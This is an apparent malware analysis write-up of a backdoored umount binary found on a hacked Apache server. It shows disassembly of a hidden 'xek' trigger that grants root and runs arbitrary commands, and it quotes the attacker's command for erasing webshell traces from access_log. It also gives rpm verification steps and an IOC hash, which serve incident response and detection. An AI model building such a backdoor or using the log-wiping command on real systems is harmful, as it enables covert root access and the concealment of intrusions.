The Victim Host

A public facing Linux web server running Apache was found to be hacked and was hosting malicious JavaScript. During the inicident response it was discovered that one of the standard binaries /usr/bin/umount had been replaced with one that allowed the bad actor to run any command they wanted as root.

Reverse Engineering

To reverse engineer the binary, rizin was used.

$ rizin ./umount

Analyze all.

[0x00402ef8]> aa
[x] Analyze all flags starting with sym. and entry0 (aa)

The beginning of main() looks normal.

[0x00402ef8]> pdc 14 @main
            ; DATA XREF from entry0 @ 0x402f15
            ;-- section..text:
┌ 2539: int main (uint32_t argc, char **argv);
│ bp: 0 (vars 0, args 0)
│ sp: 10 (vars 10, args 0)
│ rg: 2 (vars 0, args 2)
│           0x004024f0      push r15                                   ; [14] -r-x section size 7386 named .text
│           0x004024f2      push r14
│           0x004024f4      push r13
│           0x004024f6      push r12
│           0x004024f8      mov r12, rsi                               ; argv
│           0x004024fb      push rbp
│           0x004024fc      mov ebp, edi                               ; argc
│           0x004024fe      push rbx
│           0x004024ff      sub rsp, 0x68
│           0x00402503      cmp edi, 3                                 ; 3 ; argc
│       ┌─< 0x00402506      jne 0x402515
│       │   0x00402508      mov rax, qword [rsi + 8]                   ; argv
│       │   0x0040250c      cmp byte [rax], 0x78
│      ┌──< 0x0040250f      je 0x402933
│      │└─> 0x00402515      mov qword [var_40h], 0

Except at 0x0040250c where it compares the first byte of the first argument to the letter x (0x78). If that matches, then it jumps down to 0x00402933.

│   │ │└──> 0x00402933      cmp byte [rax + 1], 0x65
│   │ │ │   0x00402937      jne 0x402515
│   │ │ │   0x0040293d      cmp byte [rax + 2], 0x6b
│   │ │ │   0x00402941      jne 0x402515
│   │ │ │   0x00402947      cmp byte [rax + 3], 0
│   │ │ │   0x0040294b      jne 0x402515
│   │ │ │   0x00402951      call sym.imp.setsid
│   │ │ │   0x00402956      xor edi, edi
│   │ │ │   0x00402958      call sym.imp.setgid
│   │ │ │   0x0040295d      xor edi, edi
│   │ │ │   0x0040295f      call sym.imp.setuid
│   │ │ │   0x00402964      mov rdi, qword [r12 + 0x10]
│   │ │ │   0x00402969      call sym.imp.system                        ; int system(const char *string)

At that point it continues checking the first argument for e (0x65), then k (0x6b), then zero.

If any of those do not match, it jumps back up to where it came from and continues as normal. I did not bother to truly confirm, but as best I can tell the umount command would perform its tasks just like normal.

If however that first argument equaled the string xek, it would then proceed to set group id and user id to zero, thus making it root, before proceeding to run system() on all remaining arguments.

Usage

In order to run commands as root, just run umount with the first argument equal to xek. It’s kind of like a password. All arguments after that would be run in their own shell.

It turns out, the bad actor would leverage a webshell to run arbitrary commands as root. Here’s an example of how they used the command to clear out their webshell usage from the Apache log.

umount xek cd /var/log/httpd;grep -v "cgi-bin/node.cgi" access_log > a;cat a > access_log;rm a

Verify Binaries

Redhat does provide a simple way to verify if a binary is untouched. Here it’s being used to show that the MD5 does not match.

[root@server1 ~]# rpm -V util-linux
..5......    /usr/bin/umount

Detections

Using VirustTotal no engine detected the altered binary umount.

Maybe the binary was build on the vicitm machine thus causing it to be unique.

IOCs

  • f416b60fda46635182790fe35992812d7f7127625ab97540f7756ecfebc3a0dd umount

Sample

The sample is contained in this encrypted ZIP with the password infected.